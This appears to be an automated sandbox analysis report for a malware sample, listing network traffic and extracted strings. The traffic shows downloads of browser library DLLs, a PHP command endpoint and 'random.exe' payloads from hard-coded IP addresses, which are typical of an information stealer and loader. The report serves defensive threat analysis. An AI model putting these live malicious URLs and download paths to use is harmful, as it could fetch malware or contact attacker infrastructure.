Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log5.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log5.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log5.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exel
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exez
Source: file.exe, 00000000.00000002.2666039485.0000000000205000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll~
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllF
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll:
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.
Source: file.exe, 00000000.00000002.2694362561.000000002369B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfi
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2666039485.0000000000205000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/q
Source: file.exe, 00000000.00000002.2666039485.0000000000205000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3401230710.00000000012DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.3401230710.00000000012DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpt
Source: skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/32
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/84ed8
Source: skotes.exe, 0000001C.00000002.3401230710.00000000012DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe06238476
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1008317001
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31dt%
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3n%
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062coded1
Source: skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe6%
Source: skotes.exe, 0000001C.00000002.3401230710.00000000012DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeem32
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_579.6.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2690998421.000000001D52D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699078234.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: KFHJJJKK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_579.6.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr	String found in binary or memory: https://assets2.msn.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: KFHJJJKK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr, d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr, d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr, d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
